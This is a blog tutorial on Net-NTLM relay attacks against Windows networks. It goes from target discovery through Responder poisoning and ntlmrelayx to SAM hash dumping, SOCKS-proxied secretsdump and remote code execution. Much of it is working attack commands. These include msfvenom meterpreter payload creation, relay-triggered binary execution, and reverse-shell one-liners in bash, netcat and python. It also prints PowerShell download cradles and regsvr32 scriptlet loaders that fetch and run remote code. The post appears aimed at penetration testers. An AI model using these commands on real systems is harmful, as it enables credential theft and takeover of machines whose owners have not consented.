Home About

Net-NTLM Relaying

Friday, February 21, 2020

Originally, I wrote a post on this subject before. But, I felt it was a bit shoddy. So, this is my re-write on the subject.

Net-NTLM relaying is a very satisfying exploit-chain, and there are multiple approaches to it. This post will discuss:

A bit of theory

First and foremost, this is a man-in-the-middle attack. Windows machines have the capabilities to sign SMB connections. But, commonly, this is not enabled and this article discusses the default settings of SMB Signing: https://support.microsoft.com/en-gb/help/887429/overview-of-server-message-block-signing

If an automated process connects to the attacker, or the attacker is able to respond to the LLMR/NBT-NS and poison the name resolution, the the attacker is able to pass the authentication off to a target WITHOUT SMB Signing.

When the relayed authentication hits the target, the target will then generate a challenge and sends it back to the attacker. The attacker can then send the challenge back to the original host and the original host will then encrypt the hash with the correct password hash and sends it to the attacker.

The attacker can then pass the correctly encrypted response back to his target and successfully authenticate.

The diagram below is from a paper called SMB Relay Demystified and NTLMv2 Pwnage with Python and nails the brief description of this issue (please don’t sue me).

The BLUE arrows are the original communications and the RED arrows are slightly modified versions of those communications that the attacker is relaying to his target, so that he can gain access to it.

Here are some additional resources:

The Correct Targets

Before relaying a host, the correct hosts need to be identified. Microsoft have implemented several techniques to prevent Net-NTLM Relaying, and several CVEs were found.

For example, a bypass in MIC was found which an optional field that NTLM clients use to ensure that attackers cannot tamper with NTLM messages. The MIC is used in the msvAvFlag field within the NTLM_AUTHENTICATE message, the 0x2 flag indicates that the message includes a MIC and it should fully protect servers from attackers who attempt to remove the MIC and perform NTLM relay.

This gives the NTLM Message a bit of integrity. However, Preempt researchers identified an issue that allows attackers to remove the MIC protection and modify fields in the NTLM authentication flow, such as the signing negotiation. And now we have CVE-2019-1040.

A lot of networks, SMB Signing is not required and these hosts can easily be identified. RunFinger.py in the Responder tools repository is perfect for this.


RunFinger.py is a python utility used for quickly pulling out information such as OS Version, Domain, Signing etc. It is used like so:

./tools/RunFinger.py -i -g

This will produce grepable output similar to this:

['', Os:'Could not fingerprint Os version.', Domain:'AVATAR', Signing:'False', Time:'2020-02-20 20:48:57', Null Session: 'False', RDP:'True']
['', Os:'Could not fingerprint Os version.', Domain:'AVATAR', Signing:'False', Time:'2020-02-20 20:48:57', Null Session: 'False', RDP:'True']
['', Os:'Could not fingerprint Os version.', Domain:'AVATAR', Signing:'False', Time:'2020-02-20 20:49:13', Null Session: 'False', RDP:'True']

But, to grab just these IPs:

cat fingerprint.txt|cut -d ',' -f1,4|grep False| cut -d ',' -f1|grep -oP "'\K[^']+"

This file can now be the hosts given to ntlmrelayx.

Configuring the tools


The first thing here is to make that HTTP and SMB are set to off because ntlmrelayx will use these protocols. This can be found in the Responder.conf file:

[Responder Core]

; Servers to start
SQL = On
SMB = Off
RDP = On
Kerberos = On
FTP = On
POP = On
HTTP = Off
DNS = On

Once that is configured, get Responder listening with the following:

sudo Responder.py -I enx000ec6b305c1


With Responder running with the above config, ntlmrelayx can start listening for incoming SMB conections. This is where the 'correct hosts' come in to play. They are supplied as a file to ntlmrelayx as a flag. The set up should now look like:

Stuff running

The -tf flag is used so that a target file is used. However, -t can be used for one host. Additionally, -smb2support is added so that ntlmrelayx accepts all versions of SMBv1 and SMBv2+.

By default, on a successful relay, ntlmrelayx will dump the SAM Database. This is easily achieved by pointing ntlmrelayx against hosts:

sudo python ntlmrelayx.py -tf no-smb-signing.txt -smb2support

Responder will now listen, pass it to ntlmrelayx and on a successful relay, dump hashes if no alternative is given:

Dumping SAM

SOCKS4 Proxying

This is probably my favourite way to do this. ntlmrelayx supports an option, -socks which can store successful relay sessions in a SOCKS4 format. In order to do this, the correct proxychains config needs to be in place.

Edit the last line of /etc/proxychains.conf file with the following entries:

socks4 <ip of machine where ntlmrelayx is running> 1080

With Responder running, run ntlmrelayx:

sudo python ntlmrelayx.py -tf no-smb-signing.txt -smb2support -socks

Once a host is successfully relayed, the ntlmrelayx output should look like this:

SOCKS hosts

Within the ntlmrelayx shell, run socks to see the available proxied hosts:

ntlmrelayx> socks
Protocol  Target        Username          AdminStatus  Port 
--------  ------------  ----------------  -----------  ----
SMB  /                 FALSE        445  

Now, the proxy is ready to use, anything can be passed through it. Heres a secretsdump example.

gimme secrets

This post from SecureAuth goes into a lot of detail on the various things that can be done with the SOCKS proxying.


The fun part!


In order to get a shell via msf, there are 3 steps.

1. MSFVenom

Create a payload:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f exe -o rev.exe

2. Handler

Create the exploit/multi/handler:

use exploit/multi/handler 
set lhost
set payload windows/meterpreter/reverse_tcp

3. NTLMRelayx

Run ntlmrelayx with the -e flag. This will tell ntlmrelayx to execute a binary on success:

sudo python ntlmrelayx.py -tf relayable.txt -e rev.exe -smb2support


With all that, something like this should happen:


Shelby is a self-plug. Shelby is an Execution Cradle Generator inspired by PoshC2 and their PoshC2_Project/quickstart.txt documentation. Its main goal was to get me through OSCP, but I totally forgot to use it. Either way, it was a fun look into how some payloads actually work.

Generating payloads

Easily done with shelby:

shelby.py --ip-address --shell-port 4444 --server-port 80

This will give a lot of different shells, like so:

The Web Delivery Server is at:
Shells receiving at:
Writing cradles to: cradles/

[+]     Shells
    •   Nishang Reverse TCP: cradles/Invoke-PowerShellTcp.ps1
    •   Nishang Bind TCP: cradles/Invoke-PowerShellTcpOneLineBind.ps1
    •   Add SSH Key (Linux): cradles/add_ssh_key.sh
[+]     SSH Keys
    •   SSH Keys written to: keys/
[+]     Cradles
[-] IEX Raw: 'Nishang Reverse TCP'
IEX (new-object system.net.webclient).downloadstring('')

[-] IEX Raw: 'Nishang Bind TCP'
IEX (new-object system.net.webclient).downloadstring('')

[-] IEX Base64: 'Nishang Reverse TCP'

[-] IEX Base64: 'Nishang Bind TCP'

[-] IEX GZIP: 'Nishang Reverse TCP'

[-] IEX GZIP: 'Nishang Bind TCP'

[-] Regsvr32: 'Nishang Reverse TCP'
regsvr32 /s /n /u /i: scrobj.dll

[-] Regsvr32: 'Nishang Bind TCP'
regsvr32 /s /n /u /i: scrobj.dll

[-] Bash Reverse TCP
/bin/bash -i >& /dev/tcp/ 0>&1

[-] Netcat Reverse TCP
nc -e /bin/sh 4444

[-] Netcat Reverse TCP (OpenBSD)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 4444 >/tmp/f

[-] Python Reverse TCP
python -c "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

[-] Add SSH Key: Linux

[+] Written by @michaelranaldo & @mez-0 (https://ad-995.group)

Additionally, these directories and file will be created:

-rwxr--r-- 1 mez0 mez0  36K Feb 20 23:00 cradle_commands.txt
drwxr-xr-x 2 mez0 mez0 4.0K Feb 20 23:00 cradles
drwxr-xr-x 2 mez0 mez0 4.0K Feb 13 17:20 keys

cradles will have several files, these are the ones that should be delivered via HTTP. The directory will look like this:

-rw-r--r-- 1 mez0 mez0  435 Feb 20 23:02 add_ssh_key.sh
-rw-r--r-- 1 mez0 mez0  558 Feb 20 23:02 Invoke-PowerShellTcpOneLineBind.ps1
-rw-r--r-- 1 mez0 mez0 4.3K Feb 20 23:02 Invoke-PowerShellTcp.ps1
-rw-r--r-- 1 mez0 mez0  592 Feb 20 23:02 regsvr32_vaeapbxmvdyd.sct
-rw-r--r-- 1 mez0 mez0  624 Feb 20 23:02 regsvr32_weqwsotxghvd.sct

For example, if the regsvr32 cradle is required, then executing the following will cause the regsvr32 binary to look up the --ip-address flag and attempt to grab the associated file (which is in the cradles directory).

regsvr32 /s /n /u /i: scrobj.dll

Serving the cradles

This can be done however, but ensure that the cradles directory is being served:

sudo python3 -m http.server 80

Additionally, make sure that nc -nvlp is listening for the --cradle-port flag:

nc -nvlp 4444


For this, the payload will be:


This is a generic Nishang shell being downloaded via an encoded command:

IEX (new-object system.net.webclient).downloadstring('')

In this instance, HTTP:80 is being used to serve the cradles, so an additional flag is given to ntlmrelayx:


The server:

Serving HTTP on port 80 ... - - [20/Feb/2020 23:10:59] "GET /Invoke-PowerShellTcp.ps1 HTTP/1.1" 200 -

Which means that the command successfully downloaded the shell. After a few seconds:



NTLM Relaying is a really satisfying chain of exploits. This post attempted to highlight some of my personal favourites, but I would suggest to check out SecureAuth‘s post on taking this a few steps further.


  1. Overview of Server Message Block signing
  2. Drop The MIC 2 (CVE 2019-1166) & Exploiting LMv2 Clients (CVE-2019-1338)